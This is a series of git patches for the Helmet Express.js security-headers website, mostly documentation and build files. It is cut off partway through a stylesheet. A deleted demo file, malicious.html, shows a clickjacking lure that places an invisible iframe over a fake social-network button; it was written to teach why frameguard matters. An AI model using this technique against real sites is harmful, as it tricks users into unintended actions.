From 5572b96404e5d79db94efb76cce7d0ad03b2a4d1 Mon Sep 17 00:00:00 2001
From: Evan Hahn <me@evanhahn.com>
Date: Tue, 21 Jul 2020 17:07:41 -0500
Subject: [PATCH 1/3] Update license year for 2020

---
 LICENSE.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/LICENSE.txt b/LICENSE.txt
index fe4d1dc..dc9368e 100644
--- a/LICENSE.txt
+++ b/LICENSE.txt
@@ -1,6 +1,6 @@
 MIT License
 
-Copyright (c) 2016-2018 Evan Hahn
+Copyright (c) 2016-2020 Evan Hahn
 
 Permission is hereby granted, free of charge, to any person obtaining a copy
 of this software and associated documentation files (the "Software"), to deal

From c5576161241f2760c57f4917211225bcd0947b71 Mon Sep 17 00:00:00 2001
From: Evan Hahn <me@evanhahn.com>
Date: Tue, 21 Jul 2020 17:33:59 -0500
Subject: [PATCH 2/3] Update homepage for helmet@4

---
 .gitignore            |   1 +
 Gemfile               |   7 +
 Gemfile.lock          |  79 ++++++++
 _config.yml           |   4 +-
 _includes/header.html |   1 -
 _sass/_base.scss      |   6 +
 index.md              | 431 +++++++++++++++++++++++++++++++++++++++---
 7 files changed, 500 insertions(+), 29 deletions(-)
 create mode 100644 Gemfile
 create mode 100644 Gemfile.lock

diff --git a/.gitignore b/.gitignore
index 45c1505..d500746 100644
--- a/.gitignore
+++ b/.gitignore
@@ -1,3 +1,4 @@
 _site
 .sass-cache
 .jekyll-metadata
+/.jekyll-cache/
diff --git a/Gemfile b/Gemfile
new file mode 100644
index 0000000..267b947
--- /dev/null
+++ b/Gemfile
@@ -0,0 +1,7 @@
+source 'https://rubygems.org' do
+  gem 'jekyll'
+
+  group :jekyll_plugins do
+    gem 'jekyll-commonmark-ghpages'
+  end
+end
diff --git a/Gemfile.lock b/Gemfile.lock
new file mode 100644
index 0000000..06f11c5
--- /dev/null
+++ b/Gemfile.lock
@@ -0,0 +1,79 @@
+GEM
+  remote: https://rubygems.org/
+  specs:
+    addressable (2.7.0)
+      public_suffix (>= 2.0.2, < 5.0)
+    colorator (1.1.0)
+    commonmarker (0.17.13)
+      ruby-enum (~> 0.5)
+    concurrent-ruby (1.1.6)
+    em-websocket (0.5.1)
+      eventmachine (>= 0.12.9)
+      http_parser.rb (~> 0.6.0)
+    eventmachine (1.2.7)
+    ffi (1.13.1)
+    forwardable-extended (2.6.0)
+    http_parser.rb (0.6.0)
+    i18n (1.8.4)
+      concurrent-ruby (~> 1.0)
+    jekyll (4.1.1)
+      addressable (~> 2.4)
+      colorator (~> 1.0)
+      em-websocket (~> 0.5)
+      i18n (~> 1.0)
+      jekyll-sass-converter (~> 2.0)
+      jekyll-watch (~> 2.0)
+      kramdown (~> 2.1)
+      kramdown-parser-gfm (~> 1.0)
+      liquid (~> 4.0)
+      mercenary (~> 0.4.0)
+      pathutil (~> 0.9)
+      rouge (~> 3.0)
+      safe_yaml (~> 1.0)
+      terminal-table (~> 1.8)
+    jekyll-commonmark (1.3.1)
+      commonmarker (~> 0.14)
+      jekyll (>= 3.7, < 5.0)
+    jekyll-commonmark-ghpages (0.1.6)
+      commonmarker (~> 0.17.6)
+      jekyll-commonmark (~> 1.2)
+      rouge (>= 2.0, < 4.0)
+    jekyll-sass-converter (2.1.0)
+      sassc (> 2.0.1, < 3.0)
+    jekyll-watch (2.2.1)
+      listen (~> 3.0)
+    kramdown (2.3.0)
+      rexml
+    kramdown-parser-gfm (1.1.0)
+      kramdown (~> 2.0)
+    liquid (4.0.3)
+    listen (3.2.1)
+      rb-fsevent (~> 0.10, >= 0.10.3)
+      rb-inotify (~> 0.9, >= 0.9.10)
+    mercenary (0.4.0)
+    pathutil (0.16.2)
+      forwardable-extended (~> 2.6)
+    public_suffix (4.0.5)
+    rb-fsevent (0.10.4)
+    rb-inotify (0.10.1)
+      ffi (~> 1.0)
+    rexml (3.2.4)
+    rouge (3.21.0)
+    ruby-enum (0.8.0)
+      i18n
+    safe_yaml (1.0.5)
+    sassc (2.4.0)
+      ffi (~> 1.9)
+    terminal-table (1.8.0)
+      unicode-display_width (~> 1.1, >= 1.1.1)
+    unicode-display_width (1.7.0)
+
+PLATFORMS
+  ruby
+
+DEPENDENCIES
+  jekyll!
+  jekyll-commonmark-ghpages!
+
+BUNDLED WITH
+   2.1.4
diff --git a/_config.yml b/_config.yml
index ede5c3c..061198a 100644
--- a/_config.yml
+++ b/_config.yml
@@ -9,9 +9,9 @@
 title: Helmet
 short_description: Express.js security with HTTP headers
 description: Helmet helps you secure your Express.js apps by setting various HTTP headers. It's not a silver bullet, but it can help!
-helmet_version: "3.23.0"
+helmet_version: "4.0.0"
 baseurl: ""
 url: "https://helmetjs.github.io" # the base hostname & protocol for your site
 
 # Build settings
-markdown: kramdown
+markdown: CommonMarkGhPages
diff --git a/_includes/header.html b/_includes/header.html
index ac38511..1fe71a4 100644
--- a/_includes/header.html
+++ b/_includes/header.html
@@ -6,7 +6,6 @@
 
   <nav class="site-nav">
     <div class="wrapper">
-      <a class="page-link" href="{{ '/docs' | prepend: site.baseurl }}">Docs</a>
       <a class="page-link" href="https://github.com/helmetjs/helmet/blob/master/CHANGELOG.md" target="_blank" rel="noreferrer noopener">Changelog</a>
       <a class="page-link" href="{{ '/contributors' | prepend: site.baseurl }}">Contributors</a>
       <a class="page-link" href="{{ '/see-also' | prepend: site.baseurl }}">See also</a>
diff --git a/_sass/_base.scss b/_sass/_base.scss
index 41da369..f7c989a 100644
--- a/_sass/_base.scss
+++ b/_sass/_base.scss
@@ -117,7 +117,13 @@ a {
     }
 }
 
+/**
+ * Details
+ */
 
+summary {
+  margin-bottom: 2em;
+}
 
 /**
  * Blockquotes
diff --git a/index.md b/index.md
index 47b4983..67e81bc 100644
--- a/index.md
+++ b/index.md
@@ -2,43 +2,422 @@
 layout: page
 permalink: /
 ---
-Helmet helps you secure your Express apps by setting various HTTP headers. *It's not a silver bullet*, but it can help!
+Helmet helps you secure your Express apps by setting various HTTP headers. _It's not a silver bullet_, but it can help!
 
-Quick start
-===========
+## Quick start
 
 First, run `npm install helmet --save` for your app. Then, in an Express app:
 
-```javascript
-const express = require('express')
-const helmet = require('helmet')
+```js
+const express = require("express");
+const helmet = require("helmet");
 
-const app = express()
+const app = express();
 
-app.use(helmet())
+app.use(helmet());
 
 // ...
 ```
 
-That's it! Helmet will set various HTTP headers to help protect your app.
+## How it works
 
-How it works
-============
+Helmet is [Connect](https://github.com/senchalabs/connect)-style middleware, which is compatible with frameworks like [Express](https://expressjs.com/). (If you need support for Koa, see [`koa-helmet`](https://github.com/venables/koa-helmet).)
 
-Helmet is a collection of 11 smaller middleware functions that set HTTP response headers. Running `app.use(helmet())` will not include all of these middleware functions by default.
+The top-level `helmet` function is a wrapper around 11 smaller middlewares.
 
-You can see more in [the documentation](/docs).
+In other words, these two things are equivalent:
 
-| Module | Default? |
-|---|---|
-| [contentSecurityPolicy](/docs/csp/) for setting Content Security Policy |  |
-| [dnsPrefetchControl](/docs/dns-prefetch-control) controls browser DNS prefetching | ✓ |
-| [expectCt](/docs/expect-ct/) for handling Certificate Transparency |  |
-| [frameguard](/docs/frameguard/) to prevent clickjacking | ✓ |
-| [hidePoweredBy](/docs/hide-powered-by) to remove the X-Powered-By header | ✓ |
-| [hsts](/docs/hsts/) for HTTP Strict Transport Security | ✓ |
-| [ieNoOpen](/docs/ienoopen) sets X-Download-Options for IE8+ | ✓ |
-| [noSniff](/docs/dont-sniff-mimetype) to keep clients from sniffing the MIME type | ✓ |
-| [permittedCrossDomainPolicies](/docs/crossdomain/) for handling Adobe products' crossdomain requests |  |
-| [referrerPolicy](/docs/referrer-policy) to hide the Referer header |  |
-| [xssFilter](/docs/xss-filter) adds some small XSS protections | ✓ |
+```js
+// This...
+app.use(helmet());
+
+// ...is equivalent to this:
+app.use(helmet.contentSecurityPolicy());
+app.use(helmet.dnsPrefetchControl());
+app.use(helmet.expectCt());
+app.use(helmet.frameguard());
+app.use(helmet.hidePoweredBy());
+app.use(helmet.hsts());
+app.use(helmet.ieNoOpen());
+app.use(helmet.noSniff());
+app.use(helmet.permittedCrossDomainPolicies());
+app.use(helmet.referrerPolicy());
+app.use(helmet.xssFilter());
+```
+
+## Reference
+
+<details>
+<summary><code>helmet(options)</code></summary>
+
+Helmet is the top-level middleware for this module, including all 11 others.
+
+All 11 middlewares are enabled by default.
+
+```js
+// Includes all 11 middlewares
+app.use(helmet());
+```
+
+If you want to disable one, pass options to `helmet`. For example, to disable `frameguard`:
+
+```js
+// Includes 10 middlewares, skipping `helmet.frameguard`
+app.use(
+  helmet({
+    frameguard: false,
+  })
+);
+```
+
+Most of the middlewares have options, which are documented in more detail below. For example, to pass `{ action: "deny" }` to `frameguard`:
+
+```js
+// Includes all 11 middlewares, setting an option for `helmet.frameguard`
+app.use(
+  helmet({
+    frameguard: {
+      action: "deny",
+    },
+  })
+);
+```
+
+Each middleware's name is listed below.
+
+</details>
+
+<details>
+<summary><code>helmet.contentSecurityPolicy(options)</code></summary>
+
+`helmet.contentSecurityPolicy` sets the `Content-Security-Policy` header which helps mitigate cross-site scripting attacks, among other things. See [MDN's introductory article on Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP).
+
+This middleware performs very little validation. You should rely on CSP checkers like [CSP Evaluator](https://csp-evaluator.withgoogle.com/) instead.
+
+`options.directives` is an object. Each key is a directive name in camel case (such as `defaultSrc`) or kebab case (such as `default-src`). Each value is an iterable (usually an array) of strings for that directive.
+
+`options.reportOnly` is a boolean, defaulting to `false`. If `true`, [the `Content-Security-Policy-Report-Only` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only) will be set instead.
+
+If no directives are supplied, the following policy is set (whitespace added for readability):
+
+    default-src 'self';
+    base-uri 'self';
+    block-all-mixed-content;
+    font-src 'self' https: data:;
+    frame-ancestors 'self';
+    img-src 'self' data:;
+    object-src 'none';
+    script-src 'self';
+    script-src-attr 'none';
+    style-src 'self' https: 'unsafe-inline';
+    upgrade-insecure-requests
+
+Examples:
+
+```js
+// Sets "Content-Security-Policy: default-src 'self';script-src 'self' example.com;object-src 'none';upgrade-insecure-requests"
+app.use(
+  helmet.contentSecurityPolicy({
+    directives: {
+      defaultSrc: ["'self'"],
+      scriptSrc: ["'self'", "example.com"],
+      objectSrc: ["'none'"],
+      upgradeInsecureRequests: [],
+    },
+  })
+);
+
+// Sets "Content-Security-Policy: default-src 'self';script-src 'self' example.com;object-src 'none'"
+app.use(
+  helmet.contentSecurityPolicy({
+    directives: {
+      "default-src": ["'self'"],
+      "script-src": ["'self'", "example.com"],
+      "object-src": ["'none'"],
+    },
+  })
+);
+
+// Sets the "Content-Security-Policy-Report-Only" header instead
+app.use(
+  helmet.contentSecurityPolicy({
+    directives: {
+      /* ... */
+    },
+    reportOnly: true,
+  })
+);
+```
+
+See [this wiki page](https://github.com/helmetjs/helmet/wiki/Conditionally-using-middleware#i-want-to-use-some-middleware-with-different-options) to see how to set directives conditionally (to set per-request nonces, for example).
+
+You can install this module separately as `helmet-csp`.
+
+</details>
+
+<details>
+<summary><code>helmet.expectCt(options)</code></summary>
+
+`helmet.expectCt` sets the `Expect-CT` header which helps mitigate misissued SSL certificates. See [MDN's article on Certificate Transparency](https://developer.mozilla.org/en-US/docs/Web/Security/Certificate_Transparency) and the [`Expect-CT` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Expect-CT) for more.
+
+`options.maxAge` is the number of seconds to expect Certificate Transparency. It defaults to `0`.
+
+`options.enforce` is a boolean. If `true`, the user agent (usually a browser) should refuse future connections that violate its Certificate Transparency policy. Defaults to `false`.
+
+`options.reportUri` is a string. If set, complying user agents will report Certificate Transparency failures to this URL. Unset by default.
+
+Examples:
+
+```js
+// Sets "Expect-CT: max-age=86400"
+app.use(
+  helmet.expectCt({
+    maxAge: 86400,
+  })
+);
+
+// Sets "Expect-CT: max-age=86400, enforce, report-uri="https://example.com/report"
+app.use(
+  helmet.expectCt({
+    maxAge: 86400,
+    enforce: true,
+    reportUri: "https://example.com/report",
+  })
+);
+```
+
+You can install this module separately as `expect-ct`.
+
+</details>
+
+<details>
+<summary><code>helmet.referrerPolicy(options)</code></summary>
+
+`helmet.referrerPolicy` sets the `Referrer-Policy` header which controls what information is set in [the `Referer` header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer). See ["Referer header: privacy and security concerns"](https://developer.mozilla.org/en-US/docs/Web/Security/Referer_header:_privacy_and_security_concerns) and [the header's documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) on MDN for more.
+
+`options.policy` is a string or array of strings representing the policy. If passed as an array, it will be joined with commas, which is useful when setting [a fallback policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy#Specifying_a_fallback_policy). It defaults to `no-referrer`.
+
+Examples:
+
+```js
+// Sets "Referrer-Policy: no-referrer"
+app.use(
+  helmet.referrerPolicy({
+    policy: "no-referrer",
+  })
+);
+
+// Sets "Referrer-Policy: origin,unsafe-url"
+app.use(
+  helmet.referrerPolicy({
+    policy: ["origin", "unsafe-url"],
+  })
+);
+```
+
+You can install this module separately as `referrer-policy`.
+
+</details>
+
+<details>
+<summary><code>helmet.hsts(options)</code></summary>
+
+`helmet.hsts` sets the `Strict-Transport-Security` header which tells browsers to prefer HTTPS over insecure HTTP. See [the documentation on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security) for more.
+
+`options.maxAge` is the number of seconds browsers should remember to prefer HTTPS. If passed a non-integer, the value is rounded down. It defaults to `15552000`, which is 180 days.
+
+`options.includeSubDomains` is a boolean which dictates whether to include the `includeSubDomains` directive, which makes this policy extend to subdomains. It defaults to `true`.
+
+`options.preload` is a boolean. If true, it adds the `preload` directive, expressing intent to add your HSTS policy to browsers. See [the "Preloading Strict Transport Security" section on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security#Preloading_Strict_Transport_Security) for more. It defaults to `false`.
+
+Examples:
+
+```js
+// Sets "Strict-Transport-Security: max-age=123456; includeSubDomains"
+app.use(
+  helmet.strictTransportSecurity({
+    maxAge: 123456,
+  })
+);
+
+// Sets "Strict-Transport-Security: max-age=123456"
+app.use(
+  helmet.strictTransportSecurity({
+    maxAge: 123456,
+    includeSubDomains: false,
+  })
+);
+
+// Sets "Strict-Transport-Security: max-age=123456; includeSubDomains; preload"
+app.use(
+  helmet.strictTransportSecurity({
+    maxAge: 63072000,
+    preload: true,
+  })
+);
+```
+
+You can install this module separately as `hsts`.
+
+</details>
+
+<details>
+<summary><code>helmet.noSniff()</code></summary>
+
+`helmet.noSniff` sets the `X-Content-Type-Options` header to `nosniff`. This mitigates [MIME type sniffing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#MIME_sniffing) which can cause security vulnerabilities. See [documentation for this header on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) for more.
+
+This middleware takes no options.
+
+Example:
+
+```js
+// Sets "X-Content-Type-Options: nosniff"
+app.use(helmet.noSniff());
+```
+
+You can install this module separately as `dont-sniff-mimetype`.
+
+</details>
+
+<details>
+<summary><code>helmet.dnsPrefetchControl(options)</code></summary>
+
+`helmet.dnsPrefetchControl` sets the `X-DNS-Prefetch-Control` header to help control DNS prefetching, which can improve user privacy at the expense of performance. See [documentation on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-DNS-Prefetch-Control) for more.
+
+`options.allow` is a boolean dictating whether to enable DNS prefetching. It defaults to `false`.
+
+Examples:
+
+```js
+// Sets "X-DNS-Prefetch-Control: off"
+app.use(
+  helmet.dnsPrefetchControl({
+    allow: false,
+  })
+);
+
+// Sets "X-DNS-Prefetch-Control: on"
+app.use(
+  helmet.dnsPrefetchControl({
+    allow: true,
+  })
+);
+```
+
+You can install this module separately as `dns-prefetch-control`.
+
+</details>
+
+<details>
+<summary><code>helmet.ieNoOpen()</code></summary>
+
+`helmet.ieNoOpen` sets the `X-Download-Options` header, which is specific to Internet Explorer 8. It forces potentially-unsafe downloads to be saved, mitigating execution of HTML in your site's context. For more, see [this old post on MSDN](https://docs.microsoft.com/en-us/archive/blogs/ie/ie8-security-part-v-comprehensive-protection).
+
+This middleware takes no options.
+
+Examples:
+
+```js
+// Sets "X-Download-Options: noopen"
+app.use(helmet.ieNoOpen());
+```
+
+You can install this module separately as `ienoopen`.
+
+</details>
+
+<details>
+<summary><code>helmet.frameguard(options)</code></summary>
+
+`helmet.frameguard` sets the `X-Frame-Options` header to help you mitigate [clickjacking attacks](https://en.wikipedia.org/wiki/Clickjacking). This header is superseded by [the `frame-ancestors` Content Security Policy directive](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors) but is still useful on old browsers. For more, see [the documentation on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).
+
+`options.action` is a string that specifies which directive to use—either `DENY` or `SAMEORIGIN`. (A legacy directive, `ALLOW-FROM`, is not supported by this middleware. [Read more here.](https://github.com/helmetjs/helmet/wiki/How-to-use-X%E2%80%93Frame%E2%80%93Options's-%60ALLOW%E2%80%93FROM%60-directive)) It defaults to `SAMEORIGIN`.
+
+Examples:
+
+```js
+// Sets "X-Frame-Options: DENY"
+app.use(
+  helmet.frameguard({
+    action: "deny",
+  })
+);
+
+// Sets "X-Frame-Options: SAMEORIGIN"
+app.use(
+  helmet.frameguard({
+    action: "sameorigin",
+  })
+);
+```
+
+You can install this module separately as `frameguard`.
+
+</details>
+
+<details>
+<summary><code>helmet.permittedCrossDomainPolicies(options)</code></summary>
+
+`helmet.permittedCrossDomainPolicies` sets the `X-Permitted-Cross-Domain-Policies` header, which tells some clients (mostly Adobe products) your domain's policy for loading cross-domain content. See [the description on OWASP](https://owasp.org/www-project-secure-headers/) for more.
+
+`options.permittedPolicies` is a string that must be `"none"`, `"master-only"`, `"by-content-type"`, or `"all"`. It defaults to `"none"`.
+
+Examples:
+
+```js
+// Sets "X-Permitted-Cross-Domain-Policies: none"
+app.use(
+  helmet.permittedCrossDomainPolicies({
+    permittedPolicies: "none",
+  })
+);
+
+// Sets "X-Permitted-Cross-Domain-Policies: by-content-type"
+app.use(
+  helmet.permittedCrossDomainPolicies({
+    permittedPolicies: "by-content-type",
+  })
+);
+```
+
+You can install this module separately as `helmet-crossdomain`.
+
+</details>
+
+<details>
+<summary><code>helmet.hidePoweredBy(options)</code></summary>
+
+`helmet.hidePoweredBy` removes the `X-Powered-By` header, which is set by default in some frameworks (like Express). Removing the header offers very limited security benefits (see [this discussion](https://github.com/expressjs/express/pull/2813#issuecomment-159270428)) and is mostly removed to save bandwidth.
+
+This middleware takes no options.
+
+If you're using Express, this middleware will work, but you should use `app.disable("x-powered-by")` instead.
+
+Examples:
+
+```js
+// Removes the X-Powered-By header if it was set.
+app.use(helmet.hidePoweredBy());
+```
+
+You can install this module separately as `hide-powered-by`.
+
+</details>
+
+<details>
+<summary><code>helmet.xssFilter(options)</code></summary>
+
+`helmet.xssFilter` disables browsers' buggy cross-site scripting filter by setting the `X-XSS-Protection` header to `0`. See [discussion about disabling the header here](https://github.com/helmetjs/helmet/issues/230) and [documentation on MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection).
+
+This middleware takes no options.
+
+Examples:
+
+```js
+// Sets "X-XSS-Protection: 0"
+app.use(helmet.xssFilter());
+```
+
+You can install this module separately as `x-xss-protection`.
+
+</details>

From 52b79490fcc090257488d2c9f4f5d07f682e385c Mon Sep 17 00:00:00 2001
From: Evan Hahn <me@evanhahn.com>
Date: Wed, 29 Jul 2020 09:50:01 -0500
Subject: [PATCH 3/3] Redirect middleware-specific docs to homepage

---
 _fakeapps/facepamphlet/facepamphlet.html |  87 -----
 _fakeapps/facepamphlet/malicious.html    |  50 ---
 _fakeapps/facepamphlet/normalize.css     |   1 -
 _fakeapps/goober/goober.html             | 100 ------
 _fakeapps/goober/normalize.css           | 419 -----------------------
 _includes/head.html                      |   3 +
 _includes/header.html                    |   2 +-
 _layouts/gohome.html                     |  10 +
 docs/crossdomain/index.md                |  60 +---
 docs/csp/index.md                        | 248 +-------------
 docs/dns-prefetch-control/index.md       |  71 +---
 docs/dont-sniff-mimetype/index.md        |  70 +---
 docs/expect-ct/index.md                  |  26 +-
 docs/feature-policy/index.md             | 101 +-----
 docs/frameguard/index.md                 | 106 +-----
 docs/hide-powered-by/index.md            |  61 +---
 docs/hpkp/index.md                       | 141 +-------
 docs/hsts/index.md                       | 108 +-----
 docs/ienoopen/index.md                   |  49 +--
 docs/index.md                            |  62 +---
 docs/nocache/index.md                    |  49 +--
 docs/referrer-policy/index.md            |  87 +----
 docs/xss-filter/index.md                 | 105 +-----
 23 files changed, 29 insertions(+), 1987 deletions(-)
 delete mode 100644 _fakeapps/facepamphlet/facepamphlet.html
 delete mode 100644 _fakeapps/facepamphlet/malicious.html
 delete mode 100644 _fakeapps/facepamphlet/normalize.css
 delete mode 100644 _fakeapps/goober/goober.html
 delete mode 100644 _fakeapps/goober/normalize.css
 create mode 100644 _layouts/gohome.html

diff --git a/_fakeapps/facepamphlet/facepamphlet.html b/_fakeapps/facepamphlet/facepamphlet.html
deleted file mode 100644
index c47a37b..0000000
--- a/_fakeapps/facepamphlet/facepamphlet.html
+++ /dev/null
@@ -1,87 +0,0 @@
-<!doctype html>
-<html>
-<head>
-
-<meta charset="utf-8">
-<title>Being Mean For No Reason - Facepamphlet</title>
-<link rel="stylesheet" href="normalize.css">
-<style>
-
-  .container {
-    margin: 0 auto;
-    width: 95%;
-    max-width: 800px;
-  }
-
-  header {
-    margin: 0 0 1em 0;
-    padding: 1em 0;
-    background-color: seagreen;
-    color: white;
-  }
-
-  header h1 {
-    margin: 0;
-    text-transform: lowercase;
-  }
-
-  .left {
-    float: left;
-    width: 25%;
-  }
-
-  .right {
-    float: right;
-    width: 70%;
-  }
-
-  .logo {
-    width: 7em;
-    height: 7em;
-    border: 4px solid grey;
-    background-color: orange;
-  }
-
-  h2 {
-    margin: 0;
-  }
-
-  h3 {
-    font-weight: normal;
-  }
-
-  .button {
-    padding: 0.5em 1em;
-    border: 2px solid #000;
-    border-bottom-width: 4px;
-    border-radius: 3px;
-    font-weight: bold;
-    background-color: seagreen;
-    color: white;
-  }
-</style>
-
-</head>
-<body>
-
-  <header>
-    <div class="container">
-      <h1>Facepamphlet</h1>
-    </div>
-  </header>
-
-  <div class="container">
-    <div class="left">
-      <div class="logo"></div>
-    </div>
-
-    <div class="right">
-      <h2>Being Mean For No Reason</h2>
-      <h3>Do you love being mean for no reason? Then become a fan of this important page.</h3>
-
-      <a class="button">I love this</a>
-    </div>
-  </div>
-
-</body>
-</html>
diff --git a/_fakeapps/facepamphlet/malicious.html b/_fakeapps/facepamphlet/malicious.html
deleted file mode 100644
index 1c4111a..0000000
--- a/_fakeapps/facepamphlet/malicious.html
+++ /dev/null
@@ -1,50 +0,0 @@
-<!doctype html>
-<html>
-<head>
-
-<meta charset="utf-8">
-<title>Cute puppies!!</title>
-<link rel="stylesheet" href="normalize.css">
-<style>
-
-  html, body {
-    width: 100%;
-    height: 100%;
-  }
-
-  html {
-    display: table;
-  }
-
-  body {
-    display: table-cell;
-    vertical-align: middle;
-    text-align: center;
-  }
-
-  .relative-container {
-    position: relative;
-  }
-
-  iframe {
-    position: absolute;
-    top: -213px;
-    left: 30px;
-    opacity: 0;
-  }
-
-</style>
-
-</head>
-<body>
-
-  <h1>Wanna see cute puppies??</h1>
-
-  <a href="#">Click here</a>
-
-  <div class="relative-container">
-    <iframe width="700" height="250" src="facepamphlet.html"></iframe>
-  </div>
-
-</body>
-</html>
diff --git a/_fakeapps/facepamphlet/normalize.css b/_fakeapps/facepamphlet/normalize.css
deleted file mode 100644
index 1541074..0000000
--- a/_fakeapps/facepamphlet/normalize.css
+++ /dev/null
@@ -1 +0,0 @@
-/*! normalize.css v2.1.3 | MIT License | git.io/normalize */article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,video{display:inline-block}audio:not([controls]){display:none;height:0}[hidden],template{display:none}html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}a{background:0 0}a:focus{outline:dotted thin}a:active,a:hover{outline:0}h1{font-size:2em;margin:.67em 0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}hr{-moz-box-sizing:content-box;box-sizing:content-box;height:0}mark{background:#ff0;color:#000}code,kbd,pre,samp{font-family:monospace,serif;font-size:1em}pre{white-space:pre-wrap}q{quotes:"\201C" "\201D" "\2018" "\2019"}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:0}fieldset{border:1px solid silver;margin:0 2px;padding:.35em .625em .75em}legend{border:0;padding:0}button,input,select,textarea{font-family:inherit;font-size:100%;margin:0}button,input{line-height:normal}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}input[type=checkbox],input[type=radio]{box-sizing:border-box;padding:0}input[type=search]{-webkit-appearance:textfield;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;box-sizing:content-box}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}button::-moz-focus-inner,input::-moz-focus-inner{border:0;padding:0}textarea{overflow:auto;vertical-align:top}table{border-collapse:collapse;border-spacing:0}
\ No newline at end of file
diff --git a/_fakeapps/goober/goober.html b/_fakeapps/goober/goober.html
deleted file mode 100644
index 8d430c0..0000000
--- a/_fakeapps/goober/goober.html
+++ /dev/null
@@ -1,100 +0,0 @@
-<!doctype html>
-<html>
-<head>
-
-<meta charset="utf-8">
-<title>Goober</title>
-<link rel="stylesheet" href="normalize.css">
-<style>
-
-/* colors from http://clrs.cc/ */
-.blue { color: #0074d9; }
-.red { color: #ff4136; }
-.orange { color: #ff851b; }
-.green { color: #2ecc40; }
-
-.container {
-  margin: 0 auto;
-  width: 95%;
-  max-width: 700px;
-}
-
-header {
-  background-color: #f0f0f0;
-  border-bottom: 1px solid #ddd;
-  padding: 1em;
-}
-
-header h1 {
-  margin: 0;
-}
-
-.search-form {
-  float: right;
-}
-
-.search-form input {
-  width: 12em;
-}
-
-.search-for {
-  padding: 1em 0;
-  border-bottom: 1px solid #ddd;
-}
-
-.search-results {
-  margin-top: 1em;
-  padding: 0;
-  list-style-type: none;
-  line-height: 1.5em;
-}
-
-.search-results li {
-  margin-bottom: 1em;
-}
-
-.search-results a {
-  font-size: 16pt;
-}
-
-.search-results p {
-  margin: 0;
-}
-
-</style>
-
-</head>
-<body>
-
-  <header>
-    <div class="container">
-      <form class="search-form">
-        <input type="text" placeholder="Search here" value="javascript jokes">
-      </form>
-
-      <h1><span class="blue">G</span><span class="orange">oo</span><span class="green">b</span><span class="red">e</span><span class="blue">r</span></h1>
-    </div>
-  </header>
-
-  <div class="search-for">
-    <div class="container">
-      You searched for <strong>javascript jokes</strong>.
-    </div>
-  </div>
-
-  <ul class="search-results container">
-    <li>
-      <a href="#">Never getting callbacks on my dating profile</a>
-      <div class="green">http://example.com/javascript-jokes</div>
-      <p>Let me tell you a joke: I have a JavaScript-themed dating profile, and nobody calls me back.</p>
-    </li>
-
-    <li>
-      <a href="#">JavaScript is a joke</a>
-      <div class="green">http://blog.example.com/i-hate-js</div>
-      <p>I am full of hate for JavaScript. I can't believe it exists!</p>
-    </li>
-  </ul>
-
-</body>
-</html>
diff --git a/_fakeapps/goober/normalize.css b/_fakeapps/goober/normalize.css
deleted file mode 100644
index 18ddf7f..0000000
--- a/_fakeapps/goober/normalize.css
+++ /dev/null
@@ -1,419 +0,0 @@
-/*! normalize.css v4.1.1 | MIT License | github.com/necolas/normalize.css */
-
-/**
- * 1. Change the default font family in all browsers (opinionated).
- * 2. Prevent adjustments of font size after orientation changes in IE and iOS.
- */
-
-html {
-  font-family: sans-serif; /* 1 */
-  -ms-text-size-adjust: 100%; /* 2 */
-  -webkit-text-size-adjust: 100%; /* 2 */
-}
-
-/**
- * Remove the margin in all browsers (opinionated).
- */
-
-body {
-  margin: 0;
-}
-
-/* HTML5 display definitions
-   ========================================================================== */
-
-/**
- * Add the correct display in IE 9-.
- * 1. Add the correct display in Edge, IE, and Firefox.
- * 2. Add the correct display in IE.
- */
-
-article,
-aside,
-details, /* 1 */
-figcaption,
-figure,
-footer,
-header,
-main, /* 2 */
-menu,
-nav,
-section,
-summary { /* 1 */
-  display: block;
-}
-
-/**
- * Add the correct display in IE 9-.
- */
-
-audio,
-canvas,
-progress,
-video {
-  display: inline-block;
-}
-
-/**
- * Add the correct display in iOS 4-7.
- */
-
-audio:not([controls]) {
-  display: none;
-  height: 0;
-}
-
-/**
- * Add the correct vertical alignment in Chrome, Firefox, and Opera.
- */
-
-progress {
-  vertical-align: baseline;
-}
-
-/**
- * Add the correct display in IE 10-.
- * 1. Add the correct display in IE.
- */
-
-template, /* 1 */
-[hidden] {
-  display: none;
-}
-
-/* Links
-   ========================================================================== */
-
-/**
- * 1. Remove the gray background on active links in IE 10.
- * 2. Remove gaps in links underline in iOS 8+ and Safari 8+.
- */
-
-a {
-  background-color: transparent; /* 1 */
-  -webkit-text-decoration-skip: objects; /* 2 */
-}
-
-/**
- * Remove the outline on focused links when they are also active or hovered
- * in all browsers (opinionated).
